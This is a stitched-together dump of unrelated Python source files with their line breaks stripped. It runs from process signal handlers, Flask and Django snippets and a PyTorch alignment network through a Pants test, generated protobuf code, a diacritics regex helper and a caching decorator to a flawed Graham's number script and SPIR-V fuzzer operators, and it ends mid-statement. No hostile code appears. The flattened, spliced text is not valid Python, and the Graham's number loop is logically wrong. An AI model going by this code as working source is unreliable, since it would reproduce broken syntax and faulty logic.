'exitTimeoutMS': self.DEFAULT_EXIT_TIMEOUT, 'maxRequestSize': '1M', 'socketProtocol': 'custom', } def onStop(self, config, pid, tune): self._signalPID(pid, self._sigStop()) def onReload(self, config, pid, tune): if tune['reloadable']: self._signalPID(pid, self._sigReload()) else: self.onStop(config, pid, tune) def onPreConfigure(self, config, runtime_dir, svc, cfg_svc_tune): pass def _signalPID(self, pid, sig): self._os.kill(pid, sig) def _sigReload(self): return self._ext.signal.SIGHUP def _sigStop(self): return self._ext.signal.SIGTERM 0 import os # third-party imports from flask import Flask from flask_sqlalchemy import SQLAlchemy from flask_migrate import Migrate # local imports from config import app_config # database variable initialization db = SQLAlchemy() def create_app(): config_env = os.getenv('APP_CONFIG_ENV') app = Flask(__name__, instance_relative_config=True) app.config.from_object(app_config[config_env]) app.config.from_pyfile('config.py') db.init_app(app) return app 100-1000 # -*- coding: utf-8 -*- """Abstract Runner class which contains methods to implement. - Author: Curt-Park - Email: """ from abc import ABC, abstractmethod import os from typing import Any, Dict class Runner(ABC): """Abstract class used by runners (e.g. trainer, pruner).""" def __init__(self, config: Dict[str, Any], dir_prefix: str) -> None: """Initialize.""" self.config = config self.dir_prefix = dir_prefix self.fileext = "pth.tar" self.checkpt_paths = "checkpt_paths.log" @abstractmethod def run(self, resume_info_path: str = "") -> None: """Run the module.""" pass def _fetch_latest_checkpt(self) -> str: """Fetch the latest checkpoint file path from the log file.""" checkpt_paths = os.path.join(self.dir_prefix, self.checkpt_paths) if not os.path.exists(checkpt_paths): return "" latest_file_path = "" with open(checkpt_paths, "r") as checkpts: checkpts_list = checkpts.readlines() if checkpts_list: latest_file_path = checkpts_list[-1][:-1] # w/o '\n' return latest_file_path 0 import torch import torch.nn as nn import torch.nn.functional as F from .base import ExportImportMixin, ModeSwitcherBase from .components import Attention, Encoder, PositionalEncoding class SoftPointerNetwork(ModeSwitcherBase, ExportImportMixin, nn.Module): class Mode(ModeSwitcherBase.Mode): weights = "weights" position = "position" gradient = "gradient" argmax = "argmax" def __init__( self, embedding_transcription_size, embedding_audio_size, hidden_size, device, dropout=0.35, # position encoding time scaling time_transcription_scale=8.344777745411855, time_audio_scale=1, position_encoding_size=32, ): super().__init__() self.mode = self.Mode.gradient self.position_encoding_size = position_encoding_size self.device = device self.use_iter = True self.use_pos_encode = True self.use_pre_transformer = True self.t_transformer = nn.Sequential( nn.Linear(embedding_transcription_size, 32), nn.Sigmoid(), nn.Linear(32, embedding_transcription_size), nn.Sigmoid(), ).to(device) self.a_transformer = nn.Sequential( nn.Linear(embedding_audio_size, 32), nn.Sigmoid(), nn.Linear(32, embedding_audio_size), nn.Sigmoid(), ).to(device) self.encoder_transcription = Encoder( hidden_size=hidden_size, embedding_size=embedding_transcription_size, out_dim=hidden_size, num_layers=2, dropout=dropout, time_scale=time_transcription_scale, ) self.encoder_audio = Encoder( hidden_size=hidden_size, embedding_size=embedding_audio_size, out_dim=hidden_size, num_layers=2, dropout=dropout, time_scale=time_audio_scale, ) self.attn = Attention(None) self.gradient = (torch.cumsum(torch.ones(2 ** 14), 0).unsqueeze(1) - 1).to(device) self.zero = torch.zeros(hidden_size, 2048, self.position_encoding_size).to(device) self.pos_encode = PositionalEncoding(self.position_encoding_size, dropout, scale=time_audio_scale) self.to(device) def weights_to_positions(self, weights, argmax=False, position_encodings=False): batch, trans_len, seq_len = weights.shape if position_encodings: position_encoding = self.pos_encode( torch.zeros(batch, seq_len, self.position_encoding_size).to(self.device), ) positions = torch.bmm(weights, position_encoding) return positions[:, :-1] if argmax: return weights.max(2)[1][:, :-1] positions = (self.gradient[:seq_len] * weights.transpose(1, 2)).sum(1)[:, :-1] return positions def forward(self, features_transcription, mask_transcription, features_audio, mask_audio): # TODO: use pytorch embeddings batch_size, out_seq_len, _ = features_transcription.shape audio_seq_len = features_audio.shape[1] # add some temporal info for transcriptions features_transcription = features_transcription.clone() features_transcription[:, :-1] += features_transcription[:, 1:] * 0.55 # add some extra spice to inputs before encoders if self.use_pre_transformer: # TODO: move to a canonical internal size features_transcription = self.t_transformer(features_transcription) features_audio = self.a_transformer(features_audio) encoder_transcription_outputs, _ = self.encoder_transcription( features_transcription, skip_pos_encode=not self.use_pos_encode, ) encoder_audio_outputs, _ = self.encoder_audio(features_audio, skip_pos_encode=not self.use_pos_encode) if not self.use_iter: # not progressive batching w = self.attn( F.tanh(encoder_transcription_outputs), mask_transcription, F.tanh(encoder_audio_outputs), mask_audio, ) else: encoder_transcription_outputs = F.relu(encoder_transcription_outputs) encoder_audio_outputs = F.relu(encoder_audio_outputs) w = torch.zeros(batch_size, out_seq_len, audio_seq_len).to(self.device) # tensor to store decoder outputs w_masks, w_mask, iter_mask_audio = [], None, mask_audio for t in range(out_seq_len): iter_input = encoder_transcription_outputs[:, t : (t + 1), :] iter_memory = encoder_audio_outputs if len(w_masks) > 1: w_mask = w_masks[0] w_mask_b = w_masks[1] w_mask = torch.clamp(w_mask, min=0.0, max=1) w_mask[w_mask < 0.1] = 0 w_mask[w_mask > 0.1] = 1 w_mask_b = torch.clamp(w_mask_b, min=0.0, max=1) w_mask_b[w_mask_b < 0.1] = 0 pad = 0.00 a, b = torch.split(iter_memory, 128, dim=2) a = a * (w_mask.unsqueeze(2) * (1 - pad) + pad) b = b * (w_mask_b.unsqueeze(2) * (1 - pad) + pad) iter_memory = torch.cat([a, b], dim=2) iter_mask_audio = mask_audio * (w_mask > 0.1) if mask_audio is not None else w_mask > 0.1 iter_mask_transcription = None if mask_transcription is None else mask_transcription[:, t : (t + 1)] w_slice = self.attn(iter_input, iter_mask_transcription, iter_memory, iter_mask_audio) if w_mask is not None: w[:, t : (t + 1), :] = w_slice * w_mask.unsqueeze(1) else: w[:, t : (t + 1), :] = w_slice # update the progressive mask w_mask = w_slice.squeeze(1).clone() w_mask = torch.cumsum(w_mask, dim=1).detach() w_masks.append(w_mask) w_masks = w_masks[-2:] if self.is_weights: return w if self.is_gradient or self.is_argmax: return self.weights_to_positions(w, argmax=self.is_argmax) if self.is_position: return self.weights_to_positions(w, position_encodings=True) raise NotImplementedError(f"Mode {self.mode} not Implemented") if __name__ == "__main__": print(SoftPointerNetwork(54, 26, 256, device="cpu")) tests/python/pants_test/help/test_help_info_extracter.py0 # coding=utf-8 # Copyright 2015 Pants project contributors (see CONTRIBUTORS.md). # Licensed under the Apache License, Version 2.0 (see LICENSE). from __future__ import absolute_import, division, print_function, unicode_literals import unittest from pants.help.help_info_extracter import HelpInfoExtracter from pants.option.config import Config from pants.option.global_options import GlobalOptionsRegistrar from pants.option.option_tracker import OptionTracker from pants.option.parser import Parser class HelpInfoExtracterTest(unittest.TestCase): def test_global_scope(self): def do_test(args, kwargs, expected_display_args, expected_scoped_cmd_line_args): # The scoped and unscoped args are the same in global scope. expected_unscoped_cmd_line_args = expected_scoped_cmd_line_args ohi = HelpInfoExtracter('').get_option_help_info(args, kwargs) self.assertListEqual(expected_display_args, ohi.display_args) self.assertListEqual(expected_scoped_cmd_line_args, ohi.scoped_cmd_line_args) self.assertListEqual(expected_unscoped_cmd_line_args, ohi.unscoped_cmd_line_args) do_test(['-f'], {'type': bool }, ['-f'], ['-f']) do_test(['--foo'], {'type': bool }, ['--[no-]foo'], ['--foo', '--no-foo']) do_test(['--foo'], {'type': bool, 'implicit_value': False }, ['--[no-]foo'], ['--foo', '--no-foo']) do_test(['-f', '--foo'], {'type': bool }, ['-f', '--[no-]foo'], ['-f', '--foo', '--no-foo']) do_test(['--foo'], {}, ['--foo='], ['--foo']) do_test(['--foo'], {'metavar': 'xx'}, ['--foo=xx'], ['--foo']) do_test(['--foo'], {'type': int}, ['--foo='], ['--foo']) do_test(['--foo'], {'type': list}, [ '--foo= (--foo=) ...', '--foo="[, , ...]"', '--foo="+[, , ...]"' ], ['--foo']) do_test(['--foo'], {'type': list, 'member_type': int},[ '--foo= (--foo=) ...', '--foo="[, , ...]"', '--foo="+[, , ...]"' ], ['--foo']) do_test(['--foo'], {'type': list, 'member_type': dict}, ['--foo="{\'key1\':val1,\'key2\':val2,...}" ' '(--foo="{\'key1\':val1,\'key2\':val2,...}") ...', '--foo="[{\'key1\':val1,\'key2\':val2,...}, ' '{\'key1\':val1,\'key2\':val2,...}, ...]"', '--foo="+[{\'key1\':val1,\'key2\':val2,...}, ' '{\'key1\':val1,\'key2\':val2,...}, ...]"'], ['--foo']) do_test(['--foo'], {'type': dict}, ['--foo="{\'key1\':val1,\'key2\':val2,...}"'], ['--foo']) do_test(['--foo', '--bar'], {}, ['--foo=', '--bar='], ['--foo', '--bar']) def test_non_global_scope(self): def do_test(args, kwargs, expected_display_args, expected_scoped_cmd_line_args, expected_unscoped_cmd_line_args): ohi = HelpInfoExtracter('bar.baz').get_option_help_info(args, kwargs) self.assertListEqual(expected_display_args, ohi.display_args) self.assertListEqual(expected_scoped_cmd_line_args, ohi.scoped_cmd_line_args) self.assertListEqual(expected_unscoped_cmd_line_args, ohi.unscoped_cmd_line_args) do_test(['-f'], {'type': bool}, ['--bar-baz-f'], ['--bar-baz-f'], ['-f']) do_test(['--foo'], {'type': bool}, ['--[no-]bar-baz-foo'], ['--bar-baz-foo', '--no-bar-baz-foo'], ['--foo', '--no-foo']) do_test(['--foo'], {'type': bool, 'implicit_value': False }, ['--[no-]bar-baz-foo'], ['--bar-baz-foo', '--no-bar-baz-foo'], ['--foo', '--no-foo']) def test_default(self): def do_test(args, kwargs, expected_default): # Defaults are computed in the parser and added into the kwargs, so we # must jump through this hoop in this test. parser = Parser(env={}, config=Config.load([]), scope_info=GlobalOptionsRegistrar.get_scope_info(), parent_parser=None, option_tracker=OptionTracker()) parser.register(*args, **kwargs) oshi = HelpInfoExtracter.get_option_scope_help_info_from_parser(parser).basic self.assertEquals(1, len(oshi)) ohi = oshi[0] self.assertEqual(expected_default, ohi.default) do_test(['--foo'], {'type': bool }, 'False') do_test(['--foo'], {'type': bool, 'default': True}, 'True') do_test(['--foo'], {'type': bool, 'implicit_value': False }, 'True') do_test(['--foo'], {'type': bool, 'implicit_value': False, 'default': False}, 'False') do_test(['--foo'], {}, 'None') do_test(['--foo'], {'type': int}, 'None') do_test(['--foo'], {'type': int, 'default': 42}, '42') do_test(['--foo'], {'type': list}, '[]') do_test(['--foo'], {'type': dict}, '{}') def test_deprecated(self): kwargs = {'removal_version': '999.99.9', 'removal_hint': 'do not use this'} ohi = HelpInfoExtracter('').get_option_help_info([], kwargs) self.assertEquals('999.99.9', ohi.removal_version) self.assertEquals('do not use this', ohi.removal_hint) self.assertIsNotNone(ohi.deprecated_message) def test_fromfile(self): ohi = HelpInfoExtracter('').get_option_help_info([], {}) self.assertFalse(ohi.fromfile) kwargs = {'fromfile': False} ohi = HelpInfoExtracter('').get_option_help_info([], kwargs) self.assertFalse(ohi.fromfile) kwargs = {'fromfile': True} ohi = HelpInfoExtracter('').get_option_help_info([], kwargs) self.assertTrue(ohi.fromfile) def test_grouping(self): def do_test(kwargs, expected_basic=False, expected_recursive=False, expected_advanced=False): def exp_to_len(exp): return int(exp) # True -> 1, False -> 0. oshi = HelpInfoExtracter('').get_option_scope_help_info([([], kwargs)]) self.assertEquals(exp_to_len(expected_basic), len(oshi.basic)) self.assertEquals(exp_to_len(expected_recursive), len(oshi.recursive)) self.assertEquals(exp_to_len(expected_advanced), len(oshi.advanced)) do_test({}, expected_basic=True) do_test({'advanced': False}, expected_basic=True) do_test({'advanced': True}, expected_advanced=True) do_test({'recursive': True}, expected_recursive=True) do_test({'recursive': True, 'recursive_root': True}, expected_basic=True) do_test({'advanced': True, 'recursive': True}, expected_advanced=True) do_test({'advanced': True, 'recursive': True, 'recursive_root': True}, expected_advanced=True) 0 # Generated by Django 3.0.5 on 2020-04-29 03:37 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('factura', '0002_facturadet_facturaenc'), ] operations = [ migrations.AlterModelOptions( name='facturadet', options={'permissions': [('sup_caja_facturadet', 'Permisos de supervisor de caja Detalle')], 'verbose_name': 'Detalle factura', 'verbose_name_plural': 'Detalles facturas'}, ), migrations.AlterModelOptions( name='facturaenc', options={'permissions': [('sup_caja_facturaenc', 'Permisos de supervisor de caja encabezado')], 'verbose_name': 'Encabezado factura', 'verbose_name_plural': 'Encabezado Facturas'}, ), ] # -*- coding: utf-8 -*- from flask import Flask, request from flask_restplus import Resource, Api app = Flask(__name__) api = Api(app) @api.route('/hello') class HelloWorld(Resource): def get(self): """Simple static get""" return {'hello': 'world'}, 201 if __name__ == '__main__': app.run(debug=True, port=5000) # -*- coding: utf-8 -*- # Generated by the protocol buffer compiler. DO NOT EDIT! # source: google/cloud/firestore_admin_v1/proto/location.proto """Generated protocol buffer code.""" from google.protobuf import descriptor as _descriptor from google.protobuf import message as _message from google.protobuf import reflection as _reflection from google.protobuf import symbol_database as _symbol_database # @@protoc_insertion_point(imports) _sym_db = _symbol_database.Default() from google.type import latlng_pb2 as google_dot_type_dot_latlng__pb2 from google.api import annotations_pb2 as google_dot_api_dot_annotations__pb2 DESCRIPTOR = _descriptor.FileDescriptor( name="google/cloud/firestore_admin_v1/proto/location.proto", package="google.firestore.admin.v1", syntax="proto3", serialized_options=b"\n\035com.google.firestore.admin.v1B\rLocationProtoP\001Z>google.golang.org/genproto/googleapis/firestore/admin/v1;admin\242\002\004GCFS\252\002\037Google.Cloud.Firestore.Admin.V1\312\002\037Google\\Cloud\\Firestore\\Admin\\V1\352\002#Google::Cloud::Firestore::Admin::V1", create_key=_descriptor._internal_create_key, serialized_pb=b'\n4google/cloud/firestore_admin_v1/proto/location.proto\x12\x19google.firestore.admin.v1\x1a\x18google/type/latlng.proto\x1a\x1cgoogle/api/annotations.proto"\x12\n\x10LocationMetadataB\xe1\x01\n\x1d\x63om.google.firestore.admin.v1B\rLocationProtoP\x01Z>google.golang.org/genproto/googleapis/firestore/admin/v1;admin\xa2\x02\x04GCFS\xaa\x02\x1fGoogle.Cloud.Firestore.Admin.V1\xca\x02\x1fGoogle\\Cloud\\Firestore\\Admin\\V1\xea\x02#Google::Cloud::Firestore::Admin::V1b\x06proto3', dependencies=[ google_dot_type_dot_latlng__pb2.DESCRIPTOR, google_dot_api_dot_annotations__pb2.DESCRIPTOR, ], ) _LOCATIONMETADATA = _descriptor.Descriptor( name="LocationMetadata", full_name="google.firestore.admin.v1.LocationMetadata", filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[], extensions=[], nested_types=[], enum_types=[], serialized_options=None, is_extendable=False, syntax="proto3", extension_ranges=[], oneofs=[], serialized_start=139, serialized_end=157, ) DESCRIPTOR.message_types_by_name["LocationMetadata"] = _LOCATIONMETADATA _sym_db.RegisterFileDescriptor(DESCRIPTOR) LocationMetadata = _reflection.GeneratedProtocolMessageType( "LocationMetadata", (_message.Message,), { "DESCRIPTOR": _LOCATIONMETADATA, "__module__": "google.cloud.firestore_admin_v1.proto.location_pb2", "__doc__": """The metadata message for [google.cloud.location.Location.metadata][goo gle.cloud.location.Location.metadata].""", # @@protoc_insertion_point(class_scope:google.firestore.admin.v1.LocationMetadata) }, ) _sym_db.RegisterMessage(LocationMetadata) DESCRIPTOR._options = None # @@protoc_insertion_point(module_scope) error_patterns/diacritics.py # -*- coding: utf-8 -*- """ Functions for identifying and extracting diacritics. Created on Tue Aug 4 17:09:45 2020 @author: Philip """ import csv import regex as re def reDiac(diacritic_key="Phon"): """ Generate regex pattern to locate diacritics. Args: diacritic_key : str in ['Phon', 'unicode_blocks', 'all'] to specify key type for generation of diacritic regex pattern. Default='Phon' Requires: regex module as re Returns: compiled regex pattern *Revised from PhonDPA\auxiliary.py """ # For UnicodeBlocks unicodeBlockList = [r'\p{InCombining_Diacritical_Marks_for_Symbols}', r'\p{InSuperscripts_and_Subscripts}', r'\p{InCombining_Diacritical_Marks}', r'\p{InSpacing_Modifier_Letters}', r'\p{InCombining_Diacritical_Marks_Extended}' r'\p{InCombining_Diacritical_Marks_Supplement}'] additionalChars = [r'ᴸ', r'ᵇ', r':', r'<', r'←', r'=', r"'", r"‚", r"ᵊ"] # For Phon regex_special_chars = ['*', '+', '^','$', '.','|', #'\\', '?', '{', '}', '[', ']', '(', ')'] with open("phon_diacritics.csv", mode="r", encoding='utf-8') as f: file = csv.reader(f) phon_diacritics = [x[0] for x in file] phon_diacritics = ["\\"+x if x in regex_special_chars else x for x in phon_diacritics] if diacritic_key == "Phon": pattern = r'(' + r'|'.join(phon_diacritics) + r')' if diacritic_key == "unicode_blocks": pattern = r'(' + r'|'.join(unicodeBlockList+additionalChars) + r')' if diacritic_key == "all": pattern = r'(' + r'|'.join(phon_diacritics+unicodeBlockList+additionalChars) + r')' pattern = re.compile(pattern) return pattern def extract_diacritics(join=True): """ Extracts unique diacritics from a pasted column of IPA transcriptions. Args: join : specifies joining of diacritics in the same transcription. Default True. Requires: regex module as re reDiac() Returns list of unique str diacritics. """ res = [] trans_col = input('Paste column of entries:') trans_col_list = trans_col.split("\n") for transcription in trans_col_list: diacritics = re.findall(reDiac(), transcription) if len(diacritics) == 0: continue else: if join==True: # Join multiple diacritics in a transcription res.append(''.join(diacritics)) if join==False: for d in diacritics: res.append(d) return list(set(res))import os import json import logging import functools class Cache: args = None data = {} def __init__(self, args): self.args = args self.statedir = args.statedir or '.' self.filename = os.path.join(self.statedir, 'apicache.json') self.load() def load(self): if os.path.exists(self.filename): try: with open(self.filename, 'r') as filep: self.data = json.loads(filep.read()) except Exception as ex: #pylint: disable=broad-except logging.error(f'Error reading api cache {ex}') def save(self): try: with open(self.filename, 'w') as filep: filep.write(json.dumps(self.data)) except Exception as ex: #pylint: disable=broad-except logging.error(f'Error writing api cache {ex}') def __contains__(self, item): return item in self.data def __setitem__(self, key, value): self.data[key] = value self.save() def __getitem__(self, key): return self.data.get(key) def purge(self): self.data = {} self.save() def memoized(obj): '''decorate class methods with caching. Requires the class to have a dict-like attribute used as storage ''' @functools.wraps(obj) def memoizer(*args, **kwargs): if hasattr(args[0], 'cache') and args[0].cache: cache = args[0].cache else: return obj(*args, **kwargs) key = str(args[1:]) + str(kwargs) if key not in cache: cache[key] = obj(*args, **kwargs) return cache[key] return memoizer skyciv/skyciv-pip from skyciv.classes.model.components.nodes.node import Node from skyciv.utils.helpers import next_object_key from skyciv.classes.model.components._base_class.model_collection_component import ModelCollectionComponent class Nodes(ModelCollectionComponent): """Creates an instance of the SkyCiv Nodes class. """ def add(self, x: int, y: int, z: int) -> int: """Create a node with the next available ID. Args: x (int): The X coordinate of the node. y (int): The Y coordinate of the node. z (int): The Z coordinate of the node. Returns: int: The ID of the created node. """ next_index = next_object_key(self) nodeId = self.id_from_coords(x, y, z) if (nodeId != None): print('Prevented overwriting an existing node with the Nodes.add() method.') return nodeId else: node = Node(x, y, z) setattr(self, str(next_index), node) return next_index def id_from_coords(self, x: int, y: int, z: int) -> int: """Find a node's ID from its coordinates. Args: x (int): The x coordinate of the node whose ID to find. y (int): The y coordinate of the node whose ID to find. z (int): The z coordinate of the node whose ID to find. Returns: int: The ID of the found node. """ id = None for k, v in vars(self).items(): if (v.x == x and v.y == y and v.z == z): id = k return id 0 #Graham's Number generator def arrow(num1, num2): #tetration for i in range(1, num2): if i == 1: result = num1 ** num1 break else: result = num1 ** result return result def arrowNum(num1, num2, amount=1): #determines the amount of arrows to be defined if amount == 1: result = num1 ** num2 elif amount == 2: result = arrow(num1, num2) else: amount -= 2 result = arrow(num1, num2) for i in range(1, (num2 - 1)**amount): result = arrow(num1, result) return result graham = arrowNum(3, 3, 6) for g in range(1, 64): graham = arrowNum(3, 3, graham) print(graham)from typing import TYPE_CHECKING from src import OpCode from src import Signed from src import Unsigned from src.annotations import OpDecorate from src.enums import Decoration from src.extension import OpExtInst from src.operators import BinaryOperatorFuzzMixin from src.operators import GLSLExtensionOperator from src.operators import UnaryOperatorFuzzMixin from src.operators.arithmetic import BinaryArithmeticOperator from src.operators.arithmetic import UnaryArithmeticOperator from src.predicates import And from src.predicates import HasLength from src.predicates import HasType from src.predicates import IsMatrixType from src.predicates import IsOfFloatBaseType from src.predicates import IsOfSignedIntegerBaseType from src.predicates import IsOfUnsignedIntegerBaseType from src.predicates import IsScalarFloat from src.predicates import IsScalarSignedInteger from src.predicates import IsVectorType from src.predicates import Or from src.types.concrete_types import OpTypeFloat from src.types.concrete_types import OpTypeInt from src.types.concrete_types import OpTypeStruct from src.types.concrete_types import OpTypeVector if TYPE_CHECKING: from src.context import Context # TODO: investigate, this *might* not be deterministic, disabling it for now # class Round(UnaryOperatorFuzzMixin, UnaryArithmeticOperator[OpTypeFloat, None, None, None], GLSLExtensionOperator): # ... class RoundEven( UnaryOperatorFuzzMixin, UnaryArithmeticOperator[OpTypeFloat, None, None, None], GLSLExtensionOperator, ): ... class Trunc( UnaryOperatorFuzzMixin, UnaryArithmeticOperator[OpTypeFloat, None, None, None], GLSLExtensionOperator, ): ... class FAbs( UnaryOperatorFuzzMixin, UnaryArithmeticOperator[OpTypeFloat, None, None, None], GLSLExtensionOperator, ): ... class SAbs( UnaryOperatorFuzzMixin, UnaryArithmeticOperator[OpTypeInt, None, Signed, None], GLSLExtensionOperator, ): ... class FSign( UnaryOperatorFuzzMixin, UnaryArithmeticOperator[OpTypeFloat, None, None, None], GLSLExtensionOperator, ): ... class SSign( UnaryOperatorFuzzMixin, UnaryArithmeticOperator[OpTypeInt, None, Signed, None], GLSLExtensionOperator, ): ... class Floor( UnaryOperatorFuzzMixin, UnaryArithmeticOperator[OpTypeFloat, None, None, None], GLSLExtensionOperator, ): ... class Ceil( UnaryOperatorFuzzMixin, UnaryArithmeticOperator[OpTypeFloat, None, None, None], GLSLExtensionOperator, ): ... class Fract( UnaryOperatorFuzzMixin, UnaryArithmeticOperator[OpTypeFloat, None, None, None], GLSLExtensionOperator, ): ... class Degrees( UnaryOperatorFuzzMixin, UnaryArithmeticOperator[OpTypeFloat, None, None, None], GLSLExtensionOperator, ): ... class Sin( UnaryOperatorFuzzMixin, UnaryArithmeticOperator[OpTypeFloat, None, None, None], GLSLExtensionOperator, ): ... class Cos( UnaryOperatorFuzzMixin, UnaryArithmeticOperator[OpTypeFloat, None, None, None], GLSLExtensionOperator, ): ... class Tan( UnaryOperatorFuzzMixin, UnaryArithmeticOperator[OpTypeFloat, None, None, None], GLSLExtensionOperator, ): ... class Asin( UnaryOperatorFuzzMixin, UnaryArithmeticOperator[OpTypeFloat, None, None, None], GLSLExtensionOperator, ): ... class Acos( UnaryOperatorFuzzMixin, UnaryArithmeticOperator[OpTypeFloat, None, None, None], GLSLExtensionOperator, ): ... class Atan( UnaryOperatorFuzzMixin, UnaryArithmeticOperator[OpTypeFloat, None, None, None], GLSLExtensionOperator, ): ... class Sinh( UnaryOperatorFuzzMixin, UnaryArithmeticOperator[OpTypeFloat, None, None, None], GLSLExtensionOperator, ): ... class Cosh( UnaryOperatorFuzzMixin, UnaryArithmeticOperator[OpTypeFloat, None, None, None], GLSLExtensionOperator, ): ... class Tanh( UnaryOperatorFuzzMixin, UnaryArithmeticOperator[OpTypeFloat, None, None, None], GLSLExtensionOperator, ): ... class Asinh( UnaryOperatorFuzzMixin, UnaryArithmeticOperator[OpTypeFloat, None, None, None], GLSLExtensionOperator, ): ... class Acosh( UnaryOperatorFuzzMixin, UnaryArithmeticOperator[OpTypeFloat, None, None, None], GLSLExtensionOperator, ): ... class Atanh( UnaryOperatorFuzzMixin, UnaryArithmeticOperator[OpTypeFloat, None, None, None], GLSLExtensionOperator, ): ... class Atan2( BinaryOperatorFuzzMixin, BinaryArithmeticOperator[OpTypeFloat, None, None, None], GLSLExtensionOperator, ): ... class Pow( BinaryOperatorFuzzMixin, BinaryArithmeticOperator[OpTypeFloat, None, None, None], GLSLExtensionOperator, ): ... class Exp( UnaryOperatorFuzzMixin, UnaryArithmeticOperator[OpTypeFloat, None, None, None], GLSLExtensionOperator, ): ... class Log( UnaryOperatorFuzzMixin, UnaryArithmeticOperator[OpTypeFloat, None, None, None], GLSLExtensionOperator, ): ... class Exp2( UnaryOperatorFuzzMixin, UnaryArithmeticOperator[OpTypeFloat, None, None, None], GLSLExtensionOperator, ): ... class Log2( UnaryOperatorFuzzMixin, UnaryArithmeticOperator[OpTypeFloat, None, None, None], GLSLExtensionOperator, ): ... class Sqrt( UnaryOperatorFuzzMixin, UnaryArithmeticOperator[OpTypeFloat, None, None, None], GLSLExtensionOperator, ): ... class InverseSqrt( UnaryOperatorFuzzMixin, UnaryArithmeticOperator[OpTypeFloat, None, None, None], GLSLExtensionOperator, ): ... class Determinant( UnaryArithmeticOperator[None, None, None, None], GLSLExtensionOperator ): def fuzz(self, context: "Context") -> list[OpCode]: operand = context.get_random_operand( lambda x: IsMatrixType(x) and len(x.type) == len(x.type.type) ) if not operand: return [] result_type = operand.get_base_type() return [ OpExtInst( type=result_type, extension_set=context.extension_sets["GLSL"], instruction=self.__class__, operands=(operand,), ) ] # class MatrixInverse( # UnaryArithmeticOperator[None, None, None, None], GLSLExtensionOperator # ): # def fuzz(self, context: "Context") -> list[OpCode]: # operand = context.get_random_operand( # lambda x: IsMatrixType(x) and len(x.type) == len(x.type.type) # ) # return [ # OpExtInst( # type=operand.type, # extension_set=context.extension_sets["GLSL"], # instruction=self.__class__, # operands=(operand,), # ) # ] class ModfStruct( UnaryArithmeticOperator[OpTypeFloat, None, None, None], GLSLExtensionOperator, ): def fuzz(self, context: "Context") -> list[OpCode]: operand = context.get_random_operand( Or(And(IsVectorType, IsOfFloatBaseType), IsScalarFloat) ) if not operand: return [] result_type = OpTypeStruct() result_type.types = (operand.type, operand.type) context.add_to_tvc(result_type) return [ OpExtInst( type=result_type, extension_set=context.extension_sets["GLSL"], instruction=self.__class__, operands=(operand,), ) ] class FMin( BinaryOperatorFuzzMixin, BinaryArithmeticOperator[OpTypeFloat, None, None, None], GLSLExtensionOperator, ): ... class UMin( BinaryOperatorFuzzMixin, BinaryArithmeticOperator[OpTypeInt, None, Unsigned, None], GLSLExtensionOperator, ): ... class SMin( BinaryOperatorFuzzMixin, BinaryArithmeticOperator[OpTypeInt, None, Signed, None], GLSLExtensionOperator, ): ... class FMax( BinaryOperatorFuzzMixin, BinaryArithmeticOperator[OpTypeFloat, None, None, None], GLSLExtensionOperator, ): ... class UMax( BinaryOperatorFuzzMixin, BinaryArithmeticOperator[OpTypeInt, None, Unsigned, None], GLSLExtensionOperator, ): ... class SMax( BinaryOperatorFuzzMixin, BinaryArithmeticOperator[OpTypeInt, None, Signed, None], GLSLExtensionOperator, ): ... # TODO: we need a ternary arithmetic operator classification, workaround for now class FClamp( BinaryArithmeticOperator[OpTypeFloat, None, None, None], GLSLExtensionOperator, ): def fuzz(self, context: "Context") -> list[OpCode]: operand1 = context.get_random_operand( Or(And(IsVectorType, IsOfFloatBaseType), IsScalarFloat) ) if not operand1: return [] operand2 = context.get_random_operand(HasType(operand1.type)) operand3 = context.get_random_operand(HasType(operand1.type)) return [ OpExtInst( type=operand1.type, extension_set=context.extension_sets["GLSL"], instruction=self.__class__, operands=(operand1, operand2, operand3), ) ] class UClamp( BinaryArithmeticOperator[OpTypeInt, None, Unsigned, None], GLSLExtensionOperator, ): def fuzz(self, context: "Context") -> list[OpCode]: operand1 = context.get_random_operand( Or(And(IsVectorType, IsOfUnsignedIntegerBaseType), IsScalarSignedInteger) ) if not operand1: return [] operand2 = context.get_random_operand(HasType(operand1.type)) operand3 = context.get_random_operand(HasType(operand1.type)) return [ OpExtInst( type=operand1.type, extension_set=context.extension_sets["GLSL"], instruction=self.__class__, operands=(operand1, operand2, operand3), ) ] class SClamp( BinaryArithmeticOperator[OpTypeInt, None, Signed, None], GLSLExtensionOperator, ): def fuzz(self, context: "Context") -> list[OpCode]: operand1 = context.get_random_operand( Or(And(IsVectorType, IsOfSignedIntegerBaseType), IsScalarSignedInteger) ) if not operand1: return [] operand2 = context.get_random_operand(HasType(operand1.type)) operand3 = context.get_random_operand(HasType(operand1.type)) return [ OpExtInst( type=operand1.type, extension_set=context.extension_sets["GLSL"], instruction=self.__class__, operands=(operand1, operand2, operand3), ) ] class FMix( BinaryArithmeticOperator[OpTypeFloat, None, None, None], GLSLExtensionOperator, ): def fuzz(self, context: "Context") -> list[OpCode]: operand1 = context.get_random_operand( Or(And(IsVectorType, IsOfFloatBaseType), IsScalarFloat) ) if not operand1: return [] operand2 = context.get_random_operand(HasType(operand1.type)) operand3 = context.get_random_operand(HasType(operand1.type)) return [ OpExtInst( type=operand1.type, extension_set=context.extension_sets["GLSL"], instruction=self.__class__, operands=(operand1, operand2, operand3), ) ] class Step( BinaryOperatorFuzzMixin, BinaryArithmeticOperator[OpTypeFloat, None, None, None], GLSLExtensionOperator, ): ... # class SmoothStep( # BinaryArithmeticOperator[OpTypeFloat, None, None, None], # GLSLExtensionOperator, # ): # def fuzz(self, context: "Context") -> list[OpCode]: # operand1 = context.get_random_operand( # Or(And(IsVectorType, IsOfFloatBaseType), IsScalarFloat) # ) # if not operand1: # return [] # operand2 = context.get_random_operand(HasType(operand1.type)) # operand3 = context.get_random_operand(HasType(operand1.type)) # return [ # OpExtInst( # type=operand1.type, # extension_set=context.extension_sets["GLSL"], # instruction=self.__class__, # operands=(operand1, operand2, operand3), # ) # ] class Fma( BinaryArithmeticOperator[OpTypeFloat, None, None, None], GLSLExtensionOperator, ): def fuzz(self, context: "Context") -> list[OpCode]: operand1 = context.get_random_operand( Or(And(IsVectorType, IsOfFloatBaseType), IsScalarFloat) ) if not operand1: return [] operand2 = context.get_random_operand(HasType(operand1.type)) operand3 = context.get_random_operand(HasType(operand1.type)) ext_inst = OpExtInst( type=operand1.type, extension_set=context.extension_sets["GLSL"], instruction=self.__class__, operands=(operand1, operand2, operand3), ) # Required for determinism context.add_annotation( 